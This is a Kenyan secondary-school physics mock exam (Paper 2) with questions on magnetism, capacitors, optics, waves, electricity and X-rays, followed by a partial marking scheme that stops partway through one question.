"# Using properties of determinants, prove that:\n\nQuestion:\n\nUsing properties of determinants, prove that:\n\n$\\left|\\begin{array}{lll}x & x^{2} & 1+p x^{3} \\\\ y & y^{2} & 1+p y^{3} \\\\ z & z^{2} & 1+p z^{3}\\end{array}\\right|=(1+p x y z)(x-y)(y-z)(z-x)$\n\nSolution:\n\n$\\Delta=\\left|\\begin{array}{lll}x & x^{2} & 1+p x^{3} \\\\ y & y^{2} & 1+p y^{3} \\\\ z & z^{2} & 1+p z^{3}\\end{array}\\right|$\n\nApplying $R_{2} \\rightarrow R_{2}-R_{1}$ and $R_{3} \\rightarrow R_{3}-R_{1}$, we have:\n\n$\\Delta=\\left|\\begin{array}{lll}x & x^{2} & 1+p x^{3} \\\\ y-x & y^{2}-x^{2} & p\\left(y^{3}-x^{3}\\right) \\\\ z-x & z^{2}-x^{2} & p\\left(z^{3}-x^{3}\\right)\\end{array}\\right|$\n\n$=(y-x)(z-x)\\left|\\begin{array}{ccc}x & x^{2} & 1+p x^{3} \\\\ 1 & y+x & p\\left(y^{2}+x^{2}+x y\\right) \\\\ 1 & z+x & p\\left(z^{2}+x^{2}+x z\\right)\\end{array}\\right|$\n\nApplying $R_{3} \\rightarrow R_{3}-R_{2}$, we have:\n\n$\\Delta=(y-x)(z-x)\\left|\\begin{array}{llc}x & x^{2} & 1+p x^{3} \\\\ 1 & y+x & p\\left(y^{2}+x^{2}+x y\\right) \\\\ 0 & z-y & p(z-y)(x+y+z)\\end{array}\\right|$\n\n$=(y-x)(z-x)(z-y)\\left|\\begin{array}{lll}x & x^{2} & 1+p x^{3} \\\\ 1 & y+x & p\\left(y^{2}+x^{2}+x y\\right) \\\\ 0 & 1 & p(x+y+z)\\end{array}\\right|$\n\nExpanding along $R_{3}$, we have:\n\n\\begin{aligned} \\Delta &=(x-y)(y-z)(z-x)\\left[(-1)(p)\\left(x y^{2}+x^{3}+x^{2} y\\right)+1+p x^{3}+p(x+y+z)(x y)\\right] \\\\ &=(x-y)(y-z)(z-x)\\left[-p x y^{2}-p x^{3}-p x^{2} y+1+p x^{3}+p x^{2} y+p x y^{2}+p x y z\\right] \\\\ &=(x-y)(y-z)(z-x)(1+p x y z) \\end{aligned}\n\nHence, the given result is proved."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6001741,"math_prob":1.0000099,"size":4502,"snap":"2022-40-2023-06","text_gpt3_token_len":1484,"char_repetition_ratio":0.13317029,"word_repetition_ratio":0.81575036,"special_character_ratio":0.32007995,"punctuation_ratio":0.03247632,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000085,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-08T04:01:05Z\",\"WARC-Record-ID\":\"<urn:uuid:9ea19e43-ad5f-49d8-8605-338d6bcad46a>\",\"Content-Length\":\"471178\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a70d8005-8915-4e69-b0d3-92df28c88c1b>\",\"WARC-Concurrent-To\":\"<urn:uuid:3df7713d-402f-466c-a79d-51d458d7a65d>\",\"WARC-IP-Address\":\"104.21.61.187\",\"WARC-Target-URI\":\"https://www.esaral.com/q/using-properties-of-determinants-prove-that-67777\",\"WARC-Payload-Digest\":\"sha1:SGZKWXATKRCMPF3C5BCF76JNUS2C7RJL\",\"WARC-Block-Digest\":\"sha1:WJDPIUP626ARGGXRZCWVIRZSDQ6XMQBJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500671.13_warc_CC-MAIN-20230208024856-20230208054856-00018.warc.gz\"}"} |
https://discuss.pytorch.org/t/efficient-dataset-indexing/9221 | [
"# Efficient Dataset Indexing\n\nI’ve isolated the main time bottleneck of my code which seems to be in the following lines:\n\n``````# subset_idx = len(train_dataset) - (some_indices)\ntrain_dataset.train_data = train_dataset.train_data[subset_idx, :]\ntrain_dataset.train_labels = train_dataset.train_labels[subset_idx,]\n``````\n\nNote that the `train_dataset` is MNIST in my case. These 2 lines occur X numbers of times in a for loop, and they’re slowing down the loop by approximately 3.5 seconds every iteration!\n\nI’m not using the `DataLoader` class, so I’m trying to see if there’s a more efficient way of reducing the total training dataset at each iteration.\n\nThanks!\n\nIt looks like you are re-assigning the sliced data to your dataset. Could you slice and store it in a temporal variable or do you really need the re-assigning.\nI think this might slow down your code.\n\nI’ll try this in a bit and see if I can get a speedup.\n\nThanks",
null,
"If you want to use a data loader (which efficiently extracts batches and uses multiprocessing), you can use the `get_batch` function on `train_dataset` defined in the code below.\n\nNote that this assumes that an instance of `train_data` and `train_labels` are returned in the `__getitem__(self, index)` function of your dataset class.\n\n``````from torch.utils import data\n\nclass DynamicSampler(object):\ndef __init__(self, max_size=100):\nself.next_batch = \nself.max_size = max_size\n\ndef select_sample(self, indList):\nself.next_batch = indList\n\ndef __iter__(self):\nreturn iter(self.next_batch)\n\ndef __len__(self):\nreturn self.max_size\n\ndef get_batch(dataset, indices=None, num_workers=2):\nsampler = DynamicSampler(len(indices))"
] | [
null,
"https://discuss.pytorch.org/images/emoji/apple/slight_smile.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.73281115,"math_prob":0.81532586,"size":1831,"snap":"2022-05-2022-21","text_gpt3_token_len":432,"char_repetition_ratio":0.14395183,"word_repetition_ratio":0.0,"special_character_ratio":0.2430366,"punctuation_ratio":0.14414415,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9900662,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-20T00:12:18Z\",\"WARC-Record-ID\":\"<urn:uuid:0bea9af1-53af-42e3-bc55-c8229253c9ea>\",\"Content-Length\":\"20543\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c64d5e16-88d7-47aa-b8be-c39fb8fa6452>\",\"WARC-Concurrent-To\":\"<urn:uuid:943de0ea-09e8-4b09-9810-0b682ff90eef>\",\"WARC-IP-Address\":\"159.203.145.104\",\"WARC-Target-URI\":\"https://discuss.pytorch.org/t/efficient-dataset-indexing/9221\",\"WARC-Payload-Digest\":\"sha1:JH7VMYGUS6FGT2KZZQOWAS24VWUSFT23\",\"WARC-Block-Digest\":\"sha1:4E5FCQJEL5FQRCXY45LFUOP3HHODE7LP\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662530553.34_warc_CC-MAIN-20220519235259-20220520025259-00375.warc.gz\"}"} |
https://www.tensortrade.org/en/latest/agents/tensorforce.html | [
"# Tensorforce¶\n\nI will also quickly cover the Tensorforce library to show how simple it is to switch between reinforcement learning frameworks.\n\n```from tensorforce.agents import Agent\n\nagent_spec = {\n\"type\": \"ppo_agent\",\n\"step_optimizer\": {\n\"learning_rate\": 1e-4\n},\n\"discount\": 0.99,\n\"likelihood_ratio_clipping\": 0.2,\n}\n\nnetwork_spec = [\ndict(type='dense', size=64, activation=\"tanh\"),\ndict(type='dense', size=32, activation=\"tanh\")\n]\n\nagent = Agent.from_spec(spec=agent_spec,\nkwargs=dict(network=network_spec,\nstates=environment.states,\nactions=environment.actions))\n```\n\nIf you would like to know more about Tensorforce agents, you can view the Documentation."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.75221705,"math_prob":0.8289264,"size":663,"snap":"2020-34-2020-40","text_gpt3_token_len":163,"char_repetition_ratio":0.10925645,"word_repetition_ratio":0.0,"special_character_ratio":0.26244345,"punctuation_ratio":0.24561404,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9806641,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-05T13:17:58Z\",\"WARC-Record-ID\":\"<urn:uuid:fb70c536-d48f-42bb-9595-f48858ff814c>\",\"Content-Length\":\"18535\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5baa12e0-a528-41ab-9099-21a632c4834d>\",\"WARC-Concurrent-To\":\"<urn:uuid:0f508f00-efc7-42ae-8ead-d13045a865d4>\",\"WARC-IP-Address\":\"104.17.33.82\",\"WARC-Target-URI\":\"https://www.tensortrade.org/en/latest/agents/tensorforce.html\",\"WARC-Payload-Digest\":\"sha1:Z7JDDGGPAVOWCUBNUQ3C67XWT2XPVFWP\",\"WARC-Block-Digest\":\"sha1:MAJHNKYAEFHW2SPFWN6M6ZA3TJA46VPQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439735958.84_warc_CC-MAIN-20200805124104-20200805154104-00241.warc.gz\"}"} |
https://blogs.msdn.microsoft.com/vancem/2012/12/20/how-many-samples-are-enough-when-using-a-sample-based-profiler-in-a-performance-investigation/ | [
"# How many samples are enough when using a sample based profiler in a performance Investigation?\n\nPerformance analysis is my job, and so I answer a lot of questions about perf, and this blog is about a frequently asked question I get.\n\nWhen doing CPU analysis, many profilers, including the PerfView tool are sampling profilers. In particular, for PerfView, by default every millisecond it will stop each processor and take a stack trace. Thus you don't see every method that gets executed, but only those that happen to be on the stack when these 1 msec samples are taken. PerfView allows you to control this (there is a CPU Sample Interval MSec text box in the 'advanced' area of the collection dialog box). Using this textbox you an set it as fast as once ever 1/8 of a msec and as slow as once every 100 msec or more. This leads to the question: How many samples are enough? This is the subject of this blog entry.\n\nFirst the obvious: From an overhead perspective slower is better .125 sampling is 8X more expensive! both in terms of runtime as file size (EVERY manipulation of the trace is not 8X slower (e.g. file transfers, Perfview view updates ...)). Thus assuming you get the quality of information you need, slower is better.\n\nSo: the question is what rate will get you the quality you need. It is important to realize that the answer to this question is NOT about the RATE, but whether you have enough TOTAL sample for you SCENARIO OF INTEREST. There is information in the PerfView documentation on this very point (see How many samples do you need?) which you can quickly find by following the 'Understanding Performance Data' link at the top of the CPU view. What that section says is that the potential error of a measurement varies as the square root of the number of samples. Thus if you have a 100 samples, you have reasonable confidence that the 'true' number is between 90 and 110 (10% error). If you had 10K samples (100 times more), you would have reasonable confidence that the number is between 99900 and 10100 (a 1% error). Now while you might think you should drive the error as small as possible, really you don't need that. Typically you don't care about 1% regressions, you care about 10% regressions. If your scenario had 1K samples, a 1% regression is 100 samples and the error of that 100 sample measurement is 10 (sqrt(100)) or 10% (that is you are confident that the true regression is between 90 and 110 msec). As you can see that is typically 'good enough' This leads to the rule of thumb that you need between 1K and 10K samples OVER YOUR SCENARIO to get an error that is good enough for most investigations.\n\nIt is important to realize that this has NOTHING to do with how small any particular function is. The basic intuition is that if a function is small, unless it is called a lot you don't care about it. If it is called a lot, it WILL show up in the samples if you have enough samples in your SCENARIO OF INTEREST. Thus the driving factors are\n\n1. What the period of time is for the scenario of interest is. If this is a 'one shot' scenario (only happens once), then you need a rate that will capture between 1 and 10K samples in that time period. Thus the MOST COMMON reason for needing a high sample rate is that you have a short scenario (100msec) that only happens once. (thus you would LIKE .1msec sampling to get to 1000K total samples). But typically you are measuring AVERAGES over LONG time (e.g. you measure the average over 10 seconds of requests), then you can easily get your 10K samples using 1msec time. In fact whenever you have a RECURRRING scenario it is EASIER AND BETTER, to simply measure for a longer period of time rather than increase the sampling rate. (In fact, when you have long traces, you can make perfView more responsive without loosing the accuracy you need by limiting the time interval you look at to say 10 or 20 seconds of trace.\n2. What error rate you can tolerate. If you are looking for 'big' things (e.g. 10% of the total trace), then 1K samples is enough. 10K samples allows you to see 1% regressions (100 samples), with 10% error (which is fine). If you were looking for .1% regression you would need 100K samples to be able to find .1% regressions with 10% error.\n\nThe result of all of this is\n\n1. What matters is the total number of samples in your scenario of interest.\n2. If you have a RECURRING scenario, you should simply collect for a longer period of time.\n3. If you have a ONE SHOT scenario and that scenarios is short (e.g. 100Msec) you need to increase the sample rate AND/OR run the scenario multiple times (making it a RECURRING scenario).\n\nTags\n\nComments (0)\nSkip to main content"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.95180434,"math_prob":0.9073358,"size":4529,"snap":"2019-13-2019-22","text_gpt3_token_len":1061,"char_repetition_ratio":0.1361326,"word_repetition_ratio":0.014563107,"special_character_ratio":0.24000883,"punctuation_ratio":0.09001098,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98044425,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-05-27T04:42:14Z\",\"WARC-Record-ID\":\"<urn:uuid:fac98fac-0aa6-477d-be56-0f3827512f5b>\",\"Content-Length\":\"49625\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3847937a-9cf5-40c1-b3ac-b7a4b583d42a>\",\"WARC-Concurrent-To\":\"<urn:uuid:678b3621-4ffe-4760-9af2-78c7a3c73d1b>\",\"WARC-IP-Address\":\"104.118.198.95\",\"WARC-Target-URI\":\"https://blogs.msdn.microsoft.com/vancem/2012/12/20/how-many-samples-are-enough-when-using-a-sample-based-profiler-in-a-performance-investigation/\",\"WARC-Payload-Digest\":\"sha1:LHWFKGLONE6EZEZHVJWUCFVEFZFDND62\",\"WARC-Block-Digest\":\"sha1:M64FGAAUUWI323C5H7EQ4IJTJTRI5LVQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-22/CC-MAIN-2019-22_segments_1558232260658.98_warc_CC-MAIN-20190527025527-20190527051527-00377.warc.gz\"}"} |
https://nl.mathworks.com/matlabcentral/cody/problems/189-sum-all-integers-from-1-to-2-n/solutions/3470848 | [
"Cody\n\n# Problem 189. Sum all integers from 1 to 2^n\n\nSolution 3470848\n\nSubmitted on 29 Oct 2020\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Fail\nx = 3; y_correct = 36; assert(isequal(sum_int(x),y_correct))\n\nUnrecognized function or variable 'n'. Error in sum_int (line 2) y=sum(1:2^n); Error in Test1 (line 3) assert(isequal(sum_int(x),y_correct))\n\n2 Fail\nx = 7; y_correct = 8256; assert(isequal(sum_int(x),y_correct))\n\nUnrecognized function or variable 'n'. Error in sum_int (line 2) y=sum(1:2^n); Error in Test2 (line 3) assert(isequal(sum_int(x),y_correct))\n\n3 Fail\nx = 10; y_correct = 524800; assert(isequal(sum_int(x),y_correct))\n\nUnrecognized function or variable 'n'. Error in sum_int (line 2) y=sum(1:2^n); Error in Test3 (line 3) assert(isequal(sum_int(x),y_correct))\n\n4 Fail\nx = 11; y_correct = 2098176; assert(isequal(sum_int(x),y_correct))\n\nUnrecognized function or variable 'n'. Error in sum_int (line 2) y=sum(1:2^n); Error in Test4 (line 3) assert(isequal(sum_int(x),y_correct))\n\n5 Fail\nx = 14; y_correct = 134225920; assert(isequal(sum_int(x),y_correct))\n\nUnrecognized function or variable 'n'. Error in sum_int (line 2) y=sum(1:2^n); Error in Test5 (line 3) assert(isequal(sum_int(x),y_correct))\n\n6 Fail\nx = 17; y_correct = 8590000128; assert(isequal(sum_int(x),y_correct))\n\nUnrecognized function or variable 'n'. Error in sum_int (line 2) y=sum(1:2^n); Error in Test6 (line 3) assert(isequal(sum_int(x),y_correct))\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5896925,"math_prob":0.9961246,"size":888,"snap":"2020-45-2020-50","text_gpt3_token_len":268,"char_repetition_ratio":0.19004525,"word_repetition_ratio":0.0,"special_character_ratio":0.3536036,"punctuation_ratio":0.1411043,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999088,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-12-01T03:23:53Z\",\"WARC-Record-ID\":\"<urn:uuid:53871f0c-3ca7-402f-990f-c6bd5b3e8075>\",\"Content-Length\":\"81597\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4b5c6a78-2b93-4a88-89ed-87cae117cc52>\",\"WARC-Concurrent-To\":\"<urn:uuid:0f9d936b-6117-42db-818f-ff884799e7ac>\",\"WARC-IP-Address\":\"184.25.198.13\",\"WARC-Target-URI\":\"https://nl.mathworks.com/matlabcentral/cody/problems/189-sum-all-integers-from-1-to-2-n/solutions/3470848\",\"WARC-Payload-Digest\":\"sha1:XR2KKEAF2DQTNLGUQZCCXIHH2XTJHTNR\",\"WARC-Block-Digest\":\"sha1:PYCQ2OSWYV27IL33AWEG2AYTAP23RAAW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141542358.71_warc_CC-MAIN-20201201013119-20201201043119-00485.warc.gz\"}"} |
https://www.easyelimu.com/kenya-secondary-schools-pastpapers/mocks/2021-2022/item/3605-physics-paper-2-questions-and-answers | [
"## Physics Paper 2 Questions and Answers - Kassu Joint Mock Examination 2021\n\nInstructions to candidates\n\n• Write your name, admission number, class, signature and date in the spaces provided at the top of the page.\n• This paper consists of two sections A and B.\n• Answer all the questions in the two sections in the spaces provided after each question\n• All working must be clearly shown.\n• Electronic calculators, mathematical tables may be used.\n• All numerical answers should be expressed in the decimal notations.\n• This paper consists of 14 printed pages. Candidates should check to ascertain that all pages are printed as indicated and that no questions are missing.\n\nSECTION A: (25 MARKS)\n\n1. Explain why repulsion method is the best test for polarity of a magnet as opposed to attraction. (1 mark)\n2. Define the following;\n1. the direction of an electric field. (1 mark)\n2. the capacitance of a capacitor. (1 mark)\n3. The diagram below shows a set of parallel rays of light incident on a thin lens and emerging out from the lens. The lens is placed inside a blackbox with narrow opening on both sides.",
null,
"1. State the type of the lens in the box and explain your answer. (2 marks)\n4. In an experiment to magnetize two substances P and Q using electric currents, two curves were obtained as shown below.",
null,
"1. Explain the difference between substances P and Q with reference to domain theory. (1 mark)\n2. State and explain which of the two substances in (i) above would be suitable for use as a core of an electromagnet. (1 mark)\n5. The letters in the figure below represents different types of radiations in the electromagnetic spectrum.\n A B C Visible light E F G\nP Q\n→Decreasing wavelength\n1. Which colours of spectrum appears at P and Q?\nP - …………………………………………… (1 mark)\nQ - …………………………………………… (1 mark)\n2. How is radiation marked C detected? (1 mark)\n6. The diagram below shows a circuit that was connected by a form one student. Comment with a reason on the brightness of the bulbs. (2 marks)",
null,
"7. A car battery requires topping up with distilled water occasionally. Explain why this is necessary and why distilled water is used. (2 marks)\n8. The figure below shows the wiring in a modern mains appliance.",
null,
"Identify the wires X, Y and Z. (2 marks)\nX - …………………………………………………………………………………………………………\nY - …………………………………………………………………………………………………………\nZ - …………………………………………………………………………………………………………\n9. Three resistors of resistance 2.0Ω, 4.0Ω and 6.0Ω are connected together in a circuit. Draw a circuit diagram to show the arrangement to the resistors which gives;\n1. An effective resistance of 3.0Ω (2 marks)\n2. A minimum resistance. (1 mark)\n10. When rod X was rubbed with material Y, it was observed that the material acquired a negative charge.\n1. State the charge on the rod X. (1 mark)\n2. Explain how the rod X acquired the charge. (1 mark)\n3. Explain briefly how you would test the nature of the charge on rod X using an electroscope. (2 marks)\n11. Distinguish between intrinsic semi-conductor and extrinsic semiconductor. (2 marks)\n\nSECTION B: (55 MARKS)\n\n1. The following figure shows a circuit where a battery of an e.m.f. 12v, switches A and B, two capacitors C1 = 9.0μF and C2 = 3.0μF and a voltmeter connected as shown below.",
null,
"1. Determine the charge on C1 when the switch A is closed and B open. (2 marks)\n2. What is the voltmeter reading when switch A is closed and switch B open? (Assume capacitor C1 is fully charged). (1 mark)\nSwitch A is now opened and switch B closed. Determine:\n3. The effective capacitance of C1 and C2. (2 marks)\n4. The voltmeter reacing V. (3 marks)\n5. The energy stored by C1 (2 marks)\n2.\n1. In an experiment to study one of the properties of waves, a double slit was placed close to the source of monochromatic light as shown below.",
null,
"1. What property of waves is being investigated? (1 mark)\n2. State the function of the double slit. (1 mark)\n3. State and explain the observation made on the screen. (2 marks)\n4. State what is observed on the screen when;\n1. the slit separation S1 S2 is decreased. (1 mark)\n2. White source of light is used in place of monochromatic source. (1 mark)\n3. S1 and S2 are made larger. (1 mark)\n2. The diagram below shows plane wave fronts in a ripple tank incident on a boundary between a deep to shallow region.",
null,
"On the same diagram, sketch the wave pattern in and beyond the shallow region. (2 marks)\n3. The equation below represents a nuclear decay. (1 mark)",
null,
"Identify the radiation A.\nA - ………………………………………………………………………………………………….\n3.\n1. The diagram below shows an object O placed infront of a concave mirror as shown.",
null,
"1. Complete the diagram to show the image formed. (2 marks)\n2. State two characteristics of the image formed. (1 mark)\n2.\n1. State two factors that determine the speed by which electrons are emitted from metal surface by light falling on it. (2 marks)\n2. In an experiment using a photocell, light of varying frequency but constant intensity was shone onto the surface of a metal. The maximum kinetic energy, (Ke)max emitted for each frequency, was determined. The graph below shows how Kemax varies with frequency f.",
null,
"From Einstein’s equation, hf = Ɵ + Kemax, where Ɵ is the work function. Determine.\n1. the threshold frequency, f0 from the graph (1 mark)\n2. the planks constant, h (2 marks)\n4.\n1. An electric cooker has an oven rated 3KW, a grill rated 2KW and two rings each rated at 500W. The cooker operates from 240V mains. What is the cost of operating all the parts for 30 minutes if electricity cost Ksh.6.50 per unit? (3 marks)\n2. Fig. below shows identical copper coils A and B placed close to each other. Coil A is connected to a d.c. power supply while coil B is connected to a galvanometer.",
null,
"1. State and explain what is observed on the galvanometer when the switch is closed. (2 marks)\n2. State what is observed on the galvanometer when the switch is opened. (1 mark)\n3. State what would be observed if the number of turns of coil B is doubled. (1 mark)\n3. A transformer with 2000 turns in the primary circuit and 150 turns in the secondary circuit has a primary circuit connected to a 800V ac source. It is found that when a heater is connected to the secondary circuit, it produces heat at the rate of 1000w. Assuming 90% efficiency, determine the;\n1. Voltage in the secondary circuit. (2 marks)\n2. the current in the primary circuit. (2 marks)\n3. Current in the secondary circuit (1 mark)\n4. A cell drives a current of 5A through a 1.6Ω resistor. When connected to a 2.8Ω resistor, the current that flows is 3.2A. Determine the e.m.f. (E) and internal resistance (r) of the cell. (4 marks)\n5.\n1. State how each of the following can be increased in an x-ray tube.\n1. Intensity of x-rays. (1 mark)\n2. penetrating power of x-rays. (1 mark)\n2. An x-ray tube has an electron beam current of 10mA and is accelerated through a p.d of 60KV. The efficiency is 0.5%. Calculate;\n1. the input power (2 marks)\n2. the quantity of heat produced per second. (1 mark)\n3. the number of electrons hitting the target per second. (2 marks)\n3. The fig. below shows an a.c. signal on the C.R.O screen.",
null,
"Determine:\n1. The frequency of the signal given that the time base is set at 10ms/div. (2 marks)\n2. The peak voltage of the signal given that the y-gain is set at 50v/div (2 marks)",
null,
"## MARKING SCHEME\n\nSECTION A: (25 MARKS)\n\n1. Explain why repulsion method is the best test for polarity of a magnet as opposed to attraction. (1 mark)\nRepulsion occurs only between like poles. Attraction occurs between unlike poles and also between a magnet and a magnetic material\n2. Define the following;\n1. the direction of an electric field. (1 mark)\nThe path followed freely, by a free positive charge\n2. the capacitance of a capacitor. (1 mark)\nCharge stored per unit volt\n(C =)\nV\n3. The diagram below shows a set of parallel rays of light incident on a thin lens and emerging out from the lens. The lens is placed inside a blackbox with narrow opening on both sides.",
null,
"1. State the type of the lens in the box and explain your answer. (2 marks)\nConcave lens\nRays parallel and close to the principal axis apperar to diverge from the principal focus when refracted\n4. In an experiment to magnetize two substances P and Q using electric currents, two curves were obtained as shown below.",
null,
"1. Explain the difference between substances P and Q with reference to domain theory. (1 mark)\nDipoles in O allign easily(easily magnetised) than those in Q\n(i.e P is easily magnetised than Q)\n2. State and explain which of the two substances in (i) above would be suitable for use as a core of an electromagnet. (1 mark)\nP. It is easily magnetised than Q\nIt is magnetically soft\n5. The letters in the figure below represents different types of radiations in the electromagnetic spectrum.\n A B C Visible light E F G\nP Q\n→Decreasing wavelength\n1. Which colours of spectrum appears at P and Q?\nP - Red (1 mark)\nQ - Violet (1 mark)\n2. How is radiation marked C detected? (1 mark)\nThermolpile, bolometer, skin, thermometer with blackened bulbs\n6. The diagram below shows a circuit that was connected by a form one student. Comment with a reason on the brightness of the bulbs. (2 marks)",
null,
"The bulbs so not light. No current flow since the voltmeter is wrongly connected. the voltmeter should be out of the circuit not in circuit. i.e it should be connected across the device whose voltage is to be determined\n7. A car battery requires topping up with distilled water occasionally. Explain why this is necessary and why distilled water is used. (2 marks)\n• Replace water lst due to evaporation when the cell is working\n• Distilled water is used since it doesn't have ions that can reacts with the acid to form insoluble compounds\n8. The figure below shows the wiring in a modern mains appliance.",
null,
"Identify the wires X, Y and Z. (2 marks)\nX - Live wire\nY - Neutral wire\nZ - Earth wire\n9. Three resistors of resistance 2.0Ω, 4.0Ω and 6.0Ω are connected together in a circuit. Draw a circuit diagram to show the arrangement to the resistors which gives;\n1. An effective resistance of 3.0Ω (2 marks)",
null,
"2. A minimum resistance. (1 mark)",
null,
"10. When rod X was rubbed with material Y, it was observed that the material acquired a negative charge.\n1. State the charge on the rod X. (1 mark)\nPositive charge\n2. Explain how the rod X acquired the charge. (1 mark)\nDuring rubbing electrons were transferred from rod X to the material\n3. Explain briefly how you would test the nature of the charge on rod X using an electroscope. (2 marks)\n• Charge the electroscope positively\n• Bring the rod close to the cop of the electroscope\n• Look for an increase in the divergence of the leaf. This will confirm that X is positively charged.\n11. Distinguish between intrinsic semi-conductor and extrinsic semiconductor. (2 marks)\nIntrinsic semi-conductor is a pure semi-conductor while extrinsic semi-conductor is an intrinsic semi-conductor that has been depleted i.e impurity has been added to improve conductivity\n\nSECTION B: (55 MARKS)\n\n1. The following figure shows a circuit where a battery of an e.m.f. 12v, switches A and B, two capacitors C1 = 9.0μF and C2 = 3.0μF and a voltmeter connected as shown below.",
null,
"1. Determine the charge on C1 when the switch A is closed and B open. (2 marks)\nQ1 = C1V = 9 x 10-6 x 12 = 1.08 x 10-4C\n2. What is the voltmeter reading when switch A is closed and switch B open? (Assume capacitor C1 is fully charged). (1 mark)\nV = 12v when fully cheged\nSwitch A is now opened and switch B closed. Determine:\n3. The effective capacitance of C1 and C2. (2 marks)\nC = 9 + 3 = 12μF\n4. The voltmeter reacing V. (3 marks)\nV = =1.08 x 10-4 = 9V\nC 12 x 10-6\nor\nV = Q =1.08μc= 9\nC 12μF\n5. The energy stored by C1 (2 marks)\nE1 = ½C1V=½ x 9 x 10-6 x 92 = 3.645 x 10-4 J\n2.\n1. In an experiment to study one of the properties of waves, a double slit was placed close to the source of monochromatic light as shown below.",
null,
"1. What property of waves is being investigated? (1 mark)\nInterference of light\n2. State the function of the double slit. (1 mark)\nActs as a coherent source of light\n3. State and explain the observation made on the screen. (2 marks)\n• Alternate bright and dark fingers are seen on the screen\n• Bright fringes are points where construction interference occurs, i.e. crest fron one source meets a crest from the other source, and where destructive interference occurs, representing dark fingers.\n4. State what is observed on the screen when;\n1. the slit separation S1 S2 is decreased. (1 mark)\nSeparation of fringes increase\n2. White source of light is used in place of monochromatic source. (1 mark)\nCentral fringe is white; fringes on either side are colored\n3. S1 and S2 are made larger. (1 mark)\nNo fringe and no interference\n2. The diagram below shows plane wave fronts in a ripple tank incident on a boundary between a deep to shallow region.",
null,
"On the same diagram, sketch the wave pattern in and beyond the shallow region. (2 marks)\n3. The equation below represents a nuclear decay. (1 mark)",
null,
"Identify the radiation A.\nA - x particle\n3.\n1. The diagram below shows an object O placed infront of a concave mirror as shown.",
null,
"1. Complete the diagram to show the image formed. (2 marks)\nRefer to diagram\n2. State two characteristics of the image formed. (1 mark)\nVirtual, upright, magnified, behind the mirror\n2.\n1. State two factors that determine the speed by which electrons are emitted from metal surface by light falling on it. (2 marks)\n• Frequency of incident radiation/wavelength\n• Work function of the metal surface/ type of metal\n2. In an experiment using a photocell, light of varying frequency but constant intensity was shone onto the surface of a metal. The maximum kinetic energy, (Ke)max emitted for each frequency, was determined. The graph below shows how Kemax varies with frequency f.",
null,
"From Einstein’s equation, hf = Ɵ + Kemax, where Ɵ is the work function. Determine.\n1. the threshold frequency, f0 from the graph (1 mark)\n4.45 x 10-4\n2. the planks constant, h (2 marks)\nh=(13.2 - 0) x 10-20 = (6.439 x 10-34Js)\n(6.5 - 4.45) x 1014\n4.\n1. An electric cooker has an oven rated 3KW, a grill rated 2KW and two rings each rated at 500W. The cooker operates from 240V mains. What is the cost of operating all the parts for 30 minutes if electricity cost Ksh.6.50 per unit? (3 marks)\nTota power = 3kw + 2kw x (2 x 500) = 6km\n1000\nTotal units(kwh) = 6kw x 30 hr = 2kwh\n60\nIf 1 units = sh 6.50\n2 units = ?\n= 2 x 6.50 = Ksh13.00\n2. Fig. below shows identical copper coils A and B placed close to each other. Coil A is connected to a d.c. power supply while coil B is connected to a galvanometer.",
null,
